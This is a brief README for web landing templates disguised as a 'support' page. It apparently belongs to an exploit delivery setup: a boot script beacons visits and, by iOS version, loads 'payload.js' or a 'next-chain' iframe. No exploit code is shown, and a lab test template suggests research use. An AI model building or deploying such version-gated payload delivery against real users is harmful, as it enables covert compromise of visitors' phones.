# support.html templates

Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.

| Name | Source | Description |
|------|--------|-------------|
| `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
| `test` | `test.html` | Lab HUD + the same `index.js` |

Both iframe landing and third-party `<script src="./index.js">` share that boot:

- iOS < 18 / unknown: load same-directory `payload.js`
- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
- iOS 19+ / 26+: no action